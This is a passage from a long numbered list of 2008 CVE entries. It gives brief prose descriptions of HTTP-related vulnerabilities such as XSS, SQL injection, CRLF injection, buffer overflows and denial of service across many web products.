19616| [CVE-2008-6882] Live Chat (com_livechat) component 1.0 for Joomla! allows remote attackers to use the xmlhttp.php script as an open HTTP proxy to hide network scanning activities or scan internal networks via a GET request with a full URL in the query string.
19617| [CVE-2008-6727] Cross-site scripting (XSS) vulnerability in Ultimate PHP Board (UPB) 2.2.2, 2.2.1, and earlier 2.x versions allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
19618| [CVE-2008-6712] The HTTP/XML-RPC service in Crysis 1.21 (game version 1.1.1.6156) and earlier allows remote attackers to cause a denial of service (crash) via a long HTTP request, which triggers a NULL pointer dereference.
19619| [CVE-2008-6645] Cross-site scripting (XSS) vulnerability in Opencosmo VisualSentinel 0.7 allows remote attackers to inject arbitrary web script or HTML via the User-Agent header ($_SERVER ['HTTP_USER_AGENT']), which is not properly handled when displaying log files.
19620| [CVE-2008-6638] Insecure method vulnerability in the Versalsoft HTTP Image Uploader ActiveX control (UUploaderSvrD.dll 6.0.0.35) allows remote attackers to delete arbitrary files via the RemoveFileOrDir method.
19621| [CVE-2008-6632] SQL injection vulnerability in func/login.php in MercuryBoard 1.1.5 and earlier allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header ($_SERVER['HTTP_USER_AGENT']).
19622| [CVE-2008-6497] The Neostrada Livebox ADSL Router allows remote attackers to cause a denial of service (network outage) via multiple HTTP requests for the /- URI.
19623| [CVE-2008-6475] SQL injection vulnerability in the guestbook component (components/guestbook/guestbook.php) in Drake CMS 0.4.11 and earlier allows remote attackers to execute arbitrary SQL commands via the Via HTTP header (HTTP_VIA) to index.php.
19624| [CVE-2008-6428] The CGI framework in Kaya 0.4.0 allows remote attackers to inject arbitrary HTTP headers and conduct cross-site scripting (XSS) attacks via unspecified vectors.
19625| [CVE-2008-6395] The web management interface in 3Com Wireless 8760 Dual Radio 11a/b/g PoE Access Point allows remote attackers to cause a denial of service (device crash) via a malformed HTTP POST request.
19626| [CVE-2008-6298] Unspecified vulnerability in sISAPILocation before 1.0.2.2 allows remote attackers to bypass intended access restrictions for character encoding and the cookie secure flag via unknown vectors related to the "HTTP header rewrite function."
19627| [CVE-2008-6171] includes/bootstrap.inc in Drupal 5.x before 5.12 and 6.x before 6.6, when the server is configured for "IP-based virtual hosts," allows remote attackers to include and execute arbitrary files via the HTTP Host header.
19628| [CVE-2008-6121] CRLF injection vulnerability in SocialEngine (SE) 2.7 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the PHPSESSID cookie.
19629| [CVE-2008-6059] xml/XMLHttpRequest.cpp in WebCore in WebKit before r38566 does not properly restrict access from web pages to the (1) Set-Cookie and (2) Set-Cookie2 HTTP response headers, which allows remote attackers to obtain sensitive information from cookies via XMLHttpRequest calls, related to the HTTPOnly protection mechanism.
19630| [CVE-2008-5905] The web interface plugin in KTorrent before 3.1.4 allows remote attackers to bypass intended access restrictions and upload arbitrary torrent files, and trigger the start of downloads and seeding, via a crafted HTTP POST request.
19631| [CVE-2008-5848] The Advantech ADAM-6000 module has 00000000 as its default password, which makes it easier for remote attackers to obtain access through an HTTP session, and (1) monitor or (2) control the module's Modbus/TCP I/O activity.
19632| [CVE-2008-5825] The SmartPoster implementation on the Nokia 6131 Near Field Communication (NFC) phone with 05.12 firmware does not properly display the URI record when the Title record contains a certain combination of space, CR (aka \r), and . (dot) characters, which allows remote attackers to trick a user into loading an arbitrary URI via a crafted NDEF tag, as demonstrated by (1) an http: URI for a malicious web site, (2) a tel: URI for a premium-rate telephone number, and (3) an sms: URI that triggers purchase of a ringtone.
19633| [CVE-2008-5810] WBPublish (aka WBPublish.exe) in Fujitsu-Siemens WebTransactions 7.0, 7.1, and possibly other versions allows remote attackers to execute arbitrary commands via shell metacharacters in input that is sent through HTTP and improperly used during temporary session data cleanup, possibly related to (1) directory names, (2) template names, and (3) session IDs.
19634| [CVE-2008-5742] Multiple open redirect vulnerabilities in AIST NetCat 3.12 and earlier allow remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via (1) the redirect parameter in a logoff action to modules/auth/index.php or (2) the url parameter to modules/linkmanager/redirect.php. NOTE: this was reported within an "HTTP Response Splitting" section in the original disclosure.
19635| [CVE-2008-5696] Novell NetWare 6.5 before Support Pack 8, when an OES2 Linux server is installed into the NDS tree, does not require a password for the ApacheAdmin console, which allows remote attackers to reconfigure the Apache HTTP Server via console operations.
19636| [CVE-2008-5676] Multiple unspecified vulnerabilities in the ModSecurity (aka mod_security) module 2.5.0 through 2.5.5 for the Apache HTTP Server, when SecCacheTransformations is enabled, allow remote attackers to cause a denial of service (daemon crash) or bypass the product's functionality via unknown vectors related to "transformation caching."
19637| [CVE-2008-5674] Multiple array index errors in the HTTP server in Darkwet Network webcamXP 3.72.440.0 and earlier and beta 4.05.280 and earlier allow remote attackers to cause a denial of service (device crash) and read portions of memory via (1) an invalid camnum parameter to the pocketpc component and (2) an invalid id parameter to the show_gallery_pic component.
19638| [CVE-2008-5645] Directory traversal vulnerability in the media server in Orb Networks Orb before 2.01.0022 allows remote attackers to read arbitrary files via directory traversal sequences in an HTTP GET request.
19639| [CVE-2008-5625] PHP 5 before 5.2.7 does not enforce the error_log safe_mode restrictions when safe_mode is enabled through a php_admin_flag setting in httpd.conf, which allows context-dependent attackers to write to arbitrary files by placing a "php_value error_log" entry in a .htaccess file.
19640| [CVE-2008-5564] Unspecified vulnerability in the media server in Orb Networks Orb before 2.01.0025 allows remote attackers to cause a denial of service (daemon crash) via a malformed HTTP request.
19641| [CVE-2008-5555] Microsoft Internet Explorer 8.0 Beta 2 relies on the XDomainRequestAllowed HTTP header to authorize data exchange between domains, which allows remote attackers to bypass the product's XSS Filter protection mechanism, and conduct XSS and cross-domain attacks, by injecting this header after a CRLF sequence, related to "XDomainRequest Allowed Injection (XAI)." NOTE: the vendor has reportedly stated that the XSS Filter intentionally does not attempt to "address every conceivable XSS attack scenario."
19642| [CVE-2008-5554] The XSS Filter in Microsoft Internet Explorer 8.0 Beta 2 does not properly handle some HTTP headers that appear after a CRLF sequence in a URI, which allows remote attackers to bypass the XSS protection mechanism and conduct XSS or redirection attacks, as demonstrated by the (1) Location and (2) Set-Cookie HTTP headers. NOTE: the vendor has reportedly stated that the XSS Filter intentionally does not attempt to "address every conceivable XSS attack scenario."
19643| [CVE-2008-5553] The XSS Filter in Microsoft Internet Explorer 8.0 Beta 2 disables itself upon encountering a certain X-XSS-Protection HTTP header, which allows remote attackers to bypass the XSS protection mechanism and conduct XSS attacks by injecting this header after a CRLF sequence. NOTE: the vendor has reportedly stated that the XSS Filter intentionally does not attempt to "address every conceivable XSS attack scenario."
19644| [CVE-2008-5519] The JK Connector (aka mod_jk) 1.2.0 through 1.2.26 in Apache Tomcat allows remote attackers to obtain sensitive information via an arbitrary request from an HTTP client, in opportunistic circumstances involving (1) a request from a different client that included a Content-Length header but no POST data or (2) a rapid series of requests, related to noncompliance with the AJP protocol's requirements for requests containing Content-Length headers.
19645| [CVE-2008-5506] Mozilla Firefox 3.x before 3.0.5 and 2.x before 2.0.0.19, Thunderbird 2.x before 2.0.0.19, and SeaMonkey 1.x before 1.1.14 allows remote attackers to bypass the same origin policy by causing the browser to issue an XMLHttpRequest to an attacker-controlled resource that uses a 302 redirect to a resource in a different domain, then reading content from the response, aka "response disclosure."
19646| [CVE-2008-5421] The SSL web administration service in NetWin SmsGate 1.1n and earlier allows remote attackers to cause a denial of service (hang) via (1) a large integer in the Content-Length HTTP header
19647| [CVE-2008-5404] Insecure method vulnerability in the FlexCell.Grid ActiveX control in FlexCell.ocx 5.7.0.1 in FlexCell Grid ActiveX Component allows remote attackers to create and overwrite arbitrary files via the HttpDownloadFile method. NOTE: this could be leveraged for code execution by creating executable files in Startup folders or by accessing files using hcp:// URLs. NOTE: the provenance of this information is unknown
19648| [CVE-2008-5400] Multiple cross-site request forgery (CSRF) vulnerabilities in mvnForum before 1.2.1 GA allow remote attackers to (1) create forums, (2) change account privileges, (3) enable accounts, or (4) disable accounts as a product administrator via unspecified vectors, possibly related to HTTP Referer headers.
19649| [CVE-2008-5297] Buffer overflow in No-IP DUC 2.1.7 and earlier allows remote HTTP servers to execute arbitrary code via a crafted response to a DNS update request, related to a missing length check in the GetNextLine function.
19650| [CVE-2008-5284] The web server in IEA Software RadiusNT and RadiusX 5.1.38 and other versions before 5.1.44, Emerald 5.0.49 and other versions before 5.0.52, Air Marshal 2.0.4 and other versions before 2.0.8, and Radius test client (aka Radlogin) 4.0.20 and earlier, allows remote attackers to cause a denial of service (crash) via an HTTP Content-Length header with a negative value, which triggers a single byte overwrite of memory using a NULL terminator. NOTE: some of these details are obtained from third party information.
19651| [CVE-2008-5278] Cross-site scripting (XSS) vulnerability in the self_link function in in the RSS Feed Generator (wp-includes/feed.php) for WordPress before 2.6.5 allows remote attackers to inject arbitrary web script or HTML via the Host header (HTTP_HOST variable).
19652| [CVE-2008-5266] Cross-site scripting (XSS) vulnerability in configuration/httpListenerEdit.jsf in the GlassFish 2 UR2 b04 webadmin interface in Sun Java System Application Server 9.1_01 build b09d-fcs and 9.1_02 build b04-fcs allows remote attackers to inject arbitrary web script or HTML via the name parameter, a different vector than CVE-2008-2751.
19653| [CVE-2008-5257] webseald in WebSEAL 6.0.0.17 in IBM Tivoli Access Manager for e-business allows remote attackers to cause a denial of service (crash or hang) via HTTP requests, as demonstrated by a McAfee vulnerability scan.
19654| [CVE-2008-5239] xine-lib 1.1.12, and other 1.1.15 and earlier versions, does not properly handle (a) negative and (b) zero values during unspecified read function calls in input_file.c, input_net.c, input_smb.c, and input_http.c, which allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via vectors such as (1) a file or (2) an HTTP response, which triggers consequences such as out-of-bounds reads and heap-based buffer overflows.
19655| [CVE-2008-5208] SQL injection vulnerability in sub_votepic.php in the Datsogallery (com_datsogallery) module 1.6 for Joomla! allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
19656| [CVE-2008-5189] CRLF injection vulnerability in Ruby on Rails before 2.0.5 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a crafted URL to the redirect_to function.
19657| [CVE-2008-5160] Unspecified vulnerability in MyServer 0.8.11 allows remote attackers to cause a denial of service (daemon crash) via multiple invalid requests with the HTTP GET, DELETE, OPTIONS, and possibly other methods, related to a "204 No Content error."
19658| [CVE-2008-5132] SQL injection vulnerability in inc/ajax/ajax_rating.php in MemHT Portal 4.0.1 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header.
19659| [CVE-2008-5093] Cross-site scripting (XSS) vulnerability in the HTTP Protocol Stack (HTTPSTK) in Novell eDirectory before 8.8 SP3 allows remote attackers to inject arbitrary web script or HTML via unknown vectors.
19660| [CVE-2008-5092] Heap-based buffer overflows in Novell eDirectory HTTP protocol stack (HTTPSTK) before 8.8 SP3 have unknown impact and attack vectors related to the (1) HTTP language header and (2) HTTP content-length header.
19661| [CVE-2008-5028] Cross-site request forgery (CSRF) vulnerability in cmd.cgi in (1) Nagios 3.0.5 and (2) op5 Monitor before 4.0.1 allows remote attackers to send commands to the Nagios process, and trigger execution of arbitrary programs by this process, via unspecified HTTP requests.
19662| [CVE-2008-5022] The nsXMLHttpRequest::NotifyEventListeners method in Firefox 3.x before 3.0.4, Firefox 2.x before 2.0.0.18, Thunderbird 2.x before 2.0.0.18, and SeaMonkey 1.x before 1.1.13 allows remote attackers to bypass the same-origin policy and execute arbitrary script via multiple listeners, which bypass the inner window check.
19663| [CVE-2008-5012] Mozilla Firefox 2.x before 2.0.0.18, Thunderbird 2.x before 2.0.0.18, and SeaMonkey 1.x before 1.1.13 do not properly change the source URI when processing a canvas element and an HTTP redirect, which allows remote attackers to bypass the same origin policy and access arbitrary images that are not directly accessible to the attacker. NOTE: this issue can be leveraged to enumerate software on the client by performing redirections related to moz-icon.
19664| [CVE-2008-4829] Multiple buffer overflows in lib/http.c in Streamripper 1.63.5 allow remote attackers to execute arbitrary code via (1) a long "Zwitterion v" HTTP header, related to the http_parse_sc_header function
19665| [CVE-2008-4818] Cross-site scripting (XSS) vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors involving HTTP response headers.
19666| [CVE-2008-4796] The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3 and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara, (4) mediamate, (5) opendb, (6) pixelpost, and possibly other products, allows remote attackers to execute arbitrary commands via shell metacharacters in https URLs.
19667| [CVE-2008-4678] The HTTP_Request_Parser method in the HTTP Transport component in IBM WebSphere Application Server (WAS) 6.0.2 before 6.0.2.31 allows remote attackers to cause a denial of service (controller 0C4 abend and application hang) via a long HTTP Host header, related to "storage overlay" on the stack and a "parse failure."
19668| [CVE-2008-4644] hits.php in myWebland myStats allows remote attackers to bypass IP address restrictions via a modified X-Forwarded-For HTTP header.
19669| [CVE-2008-4546] Adobe Flash Player before 9.0.277.0 and 10.x before 10.1.53.64, and Adobe AIR before 2.0.2.12610, allows remote web servers to cause a denial of service (NULL pointer dereference and browser crash) by returning a different response when an HTTP request is sent a second time, as demonstrated by two responses that provide SWF files with different SWF version numbers.
19670| [CVE-2008-4541] Heap-based buffer overflow in the FTP subsystem in Sun Java System Web Proxy Server 4.0 through 4.0.7 allows remote attackers to execute arbitrary code via a crafted HTTP GET request.
19671| [CVE-2008-4493] Microsoft PicturePusher ActiveX control (PipPPush.DLL 7.00.0709), as used in Microsoft Digital Image 2006 Starter Edition, allows remote attackers to force the upload of arbitrary files by using the AddString and Post methods and a modified PostURL to construct an HTTP POST request. NOTE: this issue might only be exploitable in limited environments or non-default browser settings.
19672| [CVE-2008-4403] The CGI modules in the server in Trend Micro OfficeScan 8.0 SP1 before build 2439 and 8.0 SP1 Patch 1 before build 3087 allow remote attackers to cause a denial of service (NULL pointer dereference and child process crash) via crafted HTTP headers, related to the "error handling mechanism."
19673| [CVE-2008-4380] The web interface in Samsung DVR SHR2040 allows remote attackers to cause a denial of service (crash) via a malformed HTTP request, related to the filter for configuration properties and "/x" characters.
19674| [CVE-2008-4360] mod_userdir in lighttpd before 1.4.20, when a case-insensitive operating system or filesystem is used, performs case-sensitive comparisons on filename components in configuration options, which might allow remote attackers to bypass intended access restrictions, as demonstrated by a request for a .PHP file when there is a configuration rule for .php files.
19675| [CVE-2008-4359] lighttpd before 1.4.20 compares URIs to patterns in the (1) url.redirect and (2) url.rewrite configuration settings before performing URL decoding, which might allow remote attackers to bypass intended access restrictions, and obtain sensitive information or possibly modify data.
19676| [CVE-2008-4325] lib/viewvc.py in ViewVC 1.0.5 uses the content-type parameter in the HTTP request for the Content-Type header in the HTTP response, which allows remote attackers to cause content to be misinterpreted by the browser via a content-type parameter that is inconsistent with the requested object. NOTE: this issue might not be a vulnerability, since it requires attacker access to the repository that is being viewed.
19677| [CVE-2008-4310] httputils.rb in WEBrick in Ruby 1.8.1 and 1.8.5, as used in Red Hat Enterprise Linux 4 and 5, allows remote attackers to cause a denial of service (CPU consumption) via a crafted HTTP request. NOTE: this issue exists because of an incomplete fix for CVE-2008-3656.
19678| [CVE-2008-4298] Memory leak in the http_request_parse function in request.c in lighttpd before 1.4.20 allows remote attackers to cause a denial of service (memory consumption) via a large number of requests with duplicate request headers.
19679| [CVE-2008-4283] CRLF injection vulnerability in the WebContainer component in IBM WebSphere Application Server (WAS) 5.1.1.19 and earlier 5.1.x versions allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19680| [CVE-2008-4198] Opera before 9.52, when rendering an http page that has loaded an https page into a frame, displays a padlock icon and offers a security information dialog reporting a secure connection, which might allow remote attackers to trick a user into performing unsafe actions on the http page.
19681| [CVE-2008-4165] admin/user/create_user.php in Kolab Groupware Server 1.0.0 places a user password in an HTTP GET request, which allows local administrators, and possibly remote attackers, to obtain cleartext passwords by reading the ssl_access_log file or the referer string.
19682| [CVE-2008-4128] Multiple cross-site request forgery (CSRF) vulnerabilities in the HTTP Administration component in Cisco IOS 12.4 on the 871 Integrated Services Router allow remote attackers to execute arbitrary commands via (1) a certain "show privilege" command to the /level/15/exec/- URI, and (2) a certain "alias exec" command to the /level/15/exec/-/configure/http URI. NOTE: some of these details are obtained from third party information.
19683| [CVE-2008-4122] Joomla! 1.5.8 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
19684| [CVE-2008-4077] The CGI scripts in (1) LedgerSMB (LSMB) before 1.2.15 and (2) SQL-Ledger 2.8.17 and earlier allow remote attackers to cause a denial of service (resource exhaustion) via an HTTP POST request with a large Content-Length.
19685| [CVE-2008-4033] Cross-domain vulnerability in Microsoft XML Core Services 3.0 through 6.0, as used in Microsoft Expression Web, Office, Internet Explorer, and other products, allows remote attackers to obtain sensitive information from another domain and corrupt the session state via HTTP request header fields, as demonstrated by the Transfer-Encoding field, aka "MSXML Header Request Vulnerability."
19686| [CVE-2008-3909] The administration application in Django 0.91, 0.95, and 0.96 stores unauthenticated HTTP POST requests and processes them after successful authentication occurs, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and delete or modify data via unspecified requests.
19687| [CVE-2008-3906] CRLF injection vulnerability in Sys.Web in Mono 2.0 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the query string.
19688| [CVE-2008-3878] Stack-based buffer overflow in the Ultra.OfficeControl ActiveX control in OfficeCtrl.ocx 2.0.2008.801 in Ultra Shareware Ultra Office Control allows remote attackers to execute arbitrary code via long strUrl, strFile, and strPostData parameters to the HttpUpload method.
19689| [CVE-2008-3862] Stack-based buffer overflow in CGI programs in the server in Trend Micro OfficeScan 7.3 Patch 4 build 1367 and other builds before 1374, and 8.0 SP1 Patch 1 before build 3110, allows remote attackers to execute arbitrary code via an HTTP POST request containing crafted form data, related to "parsing CGI requests."
19690| [CVE-2008-3845] Multiple SQL injection vulnerabilities in Crafty Syntax Live Help (CSLH) 2.14.6 and earlier allow remote attackers to execute arbitrary SQL commands via the department parameter to (1) is_xmlhttp.php and (2) is_flush.php.
19691| [CVE-2008-3821] Multiple cross-site scripting (XSS) vulnerabilities in the HTTP server in Cisco IOS 11.0 through 12.4 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to the ping program or (2) unspecified other aspects of the URI.
19692| [CVE-2008-3817] Memory leak in Cisco Adaptive Security Appliances (ASA) 5500 Series and PIX Security Appliances 8.0 before 8.0(4) and 8.1 before 8.1(2) allows remote attackers to cause a denial of service (memory consumption) via an unspecified sequence of packets, related to the "initialization code for the hardware crypto accelerator."
19693| [CVE-2008-3812] Cisco IOS 12.4, when IOS firewall Application Inspection Control (AIC) with HTTP Deep Packet Inspection is enabled, allows remote attackers to cause a denial of service (device reload) via a malformed HTTP transit packet.
19694| [CVE-2008-3702] Multiple stack-based buffer overflows in the Animation GIF ActiveX control in JComSoft AniGIF.ocx 1.12 and 2.47, as used in products such as SpeedBit Download Accelerator Plus (DAP) 8.6, allow remote attackers to execute arbitrary code via a long argument to the (1) ReadGIF or (2) ReadGIF2 method.
19695| [CVE-2008-3688] sockethandler.cpp in HTTP Antivirus Proxy (HAVP) 0.88 allows remote attackers to cause a denial of service (hang) by connecting to a non-responsive server, which triggers an infinite loop due to an uninitialized variable.
19696| [CVE-2008-3667] Stack-based buffer overflow in Maxthon Browser 2.0 and earlier allows remote attackers to execute arbitrary code via a long Content-type HTTP header.
19697| [CVE-2008-3663] Squirrelmail 1.4.15 does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
19698| [CVE-2008-3662] Gallery before 1.5.9, and 2.x before 2.2.6, does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
19699| [CVE-2008-3661] Drupal, probably 5.10 and 6.4, does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
19700| [CVE-2008-3656] Algorithmic complexity vulnerability in the WEBrick::HTTPUtils.split_header_value function in WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows context-dependent attackers to cause a denial of service (CPU consumption) via a crafted HTTP request that is processed by a backtracking regular expression.
19701| [CVE-2008-3573] The CAPTCHA implementation in (1) Pligg 9.9.5 and possibly (2) Francisco Burzi PHP-Nuke 8.1 provides a critical random number (the ts_random value) within the URL in the SRC attribute of an IMG element, which allows remote attackers to pass the CAPTCHA test via a calculation that combines this value with the current date and the HTTP User-Agent string.
19702| [CVE-2008-3494] 8e6 R3000 Internet Filter 2.0.12.10 allows remote attackers to bypass intended restrictions via an extra HTTP Host header with additional leading text placed before the real Host header.
19703| [CVE-2008-3433] SpeedBit Download Accelerator Plus (DAP) before 8.6.3.9 does not properly verify the authenticity of updates, which allows man-in-the-middle attackers to execute arbitrary code via a Trojan horse update, as demonstrated by evilgrade and DNS cache poisoning.
19704| [CVE-2008-3361] Stack-based buffer overflow in IntelliTamper 2.07 allows remote web sites to execute arbitrary code via a long HTTP Server header.
19705| [CVE-2008-3349] Multiple unspecified vulnerabilities in NetApp Data ONTAP, as used on NetApp and IBM eServer platforms, allow remote attackers to execute arbitrary commands, cause a denial of service (system crash), or obtain sensitive information, probably related to insufficient access control for HTTP requests. NOTE: this may overlap CVE-2008-3160.
19706| [CVE-2008-3257] Stack-based buffer overflow in the Apache Connector (mod_wl) in Oracle WebLogic Server (formerly BEA WebLogic Server) 10.3 and earlier allows remote attackers to execute arbitrary code via a long HTTP version string, as demonstrated by a string after "POST /.jsp" in an HTTP request.
19707| [CVE-2008-3253] Cross-site scripting (XSS) vulnerability in the XenAPI HTTP interfaces in Citrix XenServer Express, Standard, and Enterprise Edition 4.1.0
19708| [CVE-2008-3182] Stack-based buffer overflow in DAP.exe in Download Accelerator Plus (DAP) 7.0.1.3, 8.6.6.3, and other 8.x versions allows user-assisted remote attackers to execute arbitrary code via an M3U (.m3u) file containing a long MP3 URL.
19709| [CVE-2008-3173] Microsoft Internet Explorer allows web sites to set cookies for domains that have a public suffix with more than one dot character, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session, aka "Cross-Site Cooking." NOTE: this issue may exist because of an insufficient fix for CVE-2004-0866.
19710| [CVE-2008-3172] Opera allows web sites to set cookies for country-specific top-level domains that have DNS A records, such as co.tv, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session, aka "Cross-Site Cooking."
19711| [CVE-2008-3171] Apple Safari sends Referer headers containing https URLs to different https web sites, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
19712| [CVE-2008-3170] Apple Safari allows web sites to set cookies for country-specific top-level domains, such as co.uk and com.au, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session, aka "Cross-Site Cooking," a related issue to CVE-2004-0746, CVE-2004-0866, and CVE-2004-0867.
19713| [CVE-2008-3161] Multiple cross-site scripting (XSS) vulnerabilities in jsp/common/system/debug.jsp in IBM Maximo 4.1 and 5.2 allow remote attackers to inject arbitrary web script or HTML via the (1) Accept, (2) Accept-Language, (3) UA-CPU, (4) Accept-Encoding, (5) User-Agent, or (6) Cookie HTTP header. NOTE: the provenance of this information is unknown
19714| [CVE-2008-3153] SQL injection vulnerability in Triton CMS Pro allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header.
19715| [CVE-2008-3102] Mantis 1.1.x through 1.1.2 and 1.2.x through 1.2.0a2 does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
19716| [CVE-2008-3057] Octeth Oempro 3.5.5.1, and possibly other versions before 4, does not set the secure flag for the PHPSESSID cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
19717| [CVE-2008-2932] Heap-based buffer overflow in Red Hat adminutil 1.1.6 allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via % (percent) encoded HTTP input to unspecified CGI scripts in Fedora Directory Server. NOTE: this vulnerability exists because of an incorrect fix for CVE-2008-2929.
19718| [CVE-2008-2928] Multiple buffer overflows in the adminutil library in CGI applications in Red Hat Directory Server 7.1 before SP7 allow remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a crafted Accept-Language HTTP header.
19719| [CVE-2008-2851] Multiple buffer overflows in OFF System before 0.19.14 allow remote attackers to have an unknown impact via unspecified vectors related to "parsing of http headers."
19720| [CVE-2008-2800] Mozilla Firefox before 2.0.0.15 and SeaMonkey before 1.1.10 allow remote attackers to bypass the Same Origin Policy and conduct cross-site scripting (XSS) attacks via vectors involving (1) an event handler attached to an outer window, (2) a SCRIPT element in an unloaded document, or (3) the onreadystatechange handler in conjunction with an XMLHttpRequest.
19721| [CVE-2008-2749] Unspecified vulnerability in cshttpd in Sun Java System Calendar Server 6 and 6.3, and Sun ONE Calendar Server 6.0, when access logging (aka service.http.commandlog.all) is enabled, allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors.
19722| [CVE-2008-2735] The HTTP server in Cisco Adaptive Security Appliance (ASA) 5500 devices 8.0 before 8.0(3)15 and 8.1 before 8.1(1)5, when configured as a clientless SSL VPN endpoint, does not properly process URIs, which allows remote attackers to cause a denial of service (device reload) via a URI in a crafted SSL or HTTP packet, aka Bug ID CSCsq19369.
19723| [CVE-2008-2734] Memory leak in the crypto functionality in Cisco Adaptive Security Appliance (ASA) 5500 devices 7.2 before 7.2(4)2, 8.0 before 8.0(3)14, and 8.1 before 8.1(1)4, when configured as a clientless SSL VPN endpoint, allows remote attackers to cause a denial of service (memory consumption and VPN hang) via a crafted SSL or HTTP packet, aka Bug ID CSCso66472.
19724| [CVE-2008-2666] Multiple directory traversal vulnerabilities in PHP 5.2.6 and earlier allow context-dependent attackers to bypass safe_mode restrictions by creating a subdirectory named http: and then placing ../ (dot dot slash) sequences in an http URL argument to the (1) chdir or (2) ftok function.
19725| [CVE-2008-2665] Directory traversal vulnerability in the posix_access function in PHP 5.2.6 and earlier allows remote attackers to bypass safe_mode restrictions via a .. (dot dot) in an http URL, which results in the URL being canonicalized to a local filename after the safe_mode check has successfully run.
19726| [CVE-2008-2654] Off-by-one error in the read_client function in webhttpd.c in Motion 3.2.10 and earlier might allow remote attackers to execute arbitrary code via a long request to a Motion HTTP Control interface, which triggers a stack-based buffer overflow with some combinations of processor architecture and compiler.
19727| [CVE-2008-2636] The HTTP service on the Cisco Linksys WRH54G with firmware 1.01.03 allows remote attackers to cause a denial of service (management interface outage) or possibly execute arbitrary code via a URI that begins with a "/./" sequence, contains many instances of a "front_page" sequence, and ends with a ".asp" sequence.
19728| [CVE-2008-2631] The WordClient interface in Alt-N Technologies MDaemon 9.6.5 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted HTTP POST request. NOTE: the provenance of this information is unknown
19729| [CVE-2008-2614] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Application Server 9.0.4.3, 10.1.2.3, and 10.1.3.3 has unknown impact and remote attack vectors.
19730| [CVE-2008-2558] CRE Loaded 6.2.13.1 and earlier does not set the "Secure" attribute for cookies that are sent over HTTPS, which might allow remote attackers to sniff the cookies if they are sent over HTTP.
19731| [CVE-2008-2541] Multiple stack-based buffer overflows in the HTTP Gateway Service (icihttp.exe) in CA eTrust Secure Content Manager 8.0 allow remote attackers to execute arbitrary code or cause a denial of service via long FTP responses, related to (1) the file month field in a LIST command
19732| [CVE-2008-2497] CRLF injection vulnerability in Mambo before 4.6.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19733| [CVE-2008-2439] Directory traversal vulnerability in the UpdateAgent function in TmListen.exe in the OfficeScanNT Listener service in the client in Trend Micro OfficeScan 7.3 Patch 4 build 1367 and other builds before 1372, OfficeScan 8.0 SP1 before build 1222, OfficeScan 8.0 SP1 Patch 1 before build 3087, and Worry-Free Business Security 5.0 before build 1220 allows remote attackers to read arbitrary files via directory traversal sequences in an HTTP request. NOTE: some of these details are obtained from third party information.
19734| [CVE-2008-2437] Stack-based buffer overflow in cgiRecvFile.exe in Trend Micro OfficeScan 7.3 patch 4 build 1362 and other builds, OfficeScan 8.0 and 8.0 SP1, and Client Server Messaging Security 3.6 allows remote attackers to execute arbitrary code via an HTTP request containing a long ComputerName parameter.
19735| [CVE-2008-2423] Unspecified vulnerability in Interchange before 5.6.0 and before 5.5.2 allows remote attackers to cause a denial of service via crafted HTTP requests. NOTE: this might overlap CVE-2007-2635.
19736| [CVE-2008-2405] Sun Java Active Server Pages (ASP) Server before 4.0.3 allows remote attackers to execute arbitrary commands via shell metacharacters in HTTP requests to unspecified ASP applications.
19737| [CVE-2008-2384] SQL injection vulnerability in mod_auth_mysql.c in the mod-auth-mysql (aka libapache2-mod-auth-mysql) module for the Apache HTTP Server 2.x, when configured to use a multibyte character set that allows a \ (backslash) as part of the character encoding, allows remote attackers to execute arbitrary SQL commands via unspecified inputs in a login request.
19738| [CVE-2008-2364] The ap_proxy_http_process_response function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server 2.0.63 and 2.2.8 does not limit the number of forwarded interim responses, which allows remote HTTP servers to cause a denial of service (memory consumption) via a large number of interim responses.
19739| [CVE-2008-2240] Stack-based buffer overflow in the Web Server service in IBM Lotus Domino before 7.0.3 FP1, and 8.x before 8.0.1, allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long Accept-Language HTTP header.
19740| [CVE-2008-2234] Multiple buffer overflows in Openwsman 1.2.0 and 2.0.0 allow remote attackers to execute arbitrary code via a crafted "Authorization: Basic" HTTP header.
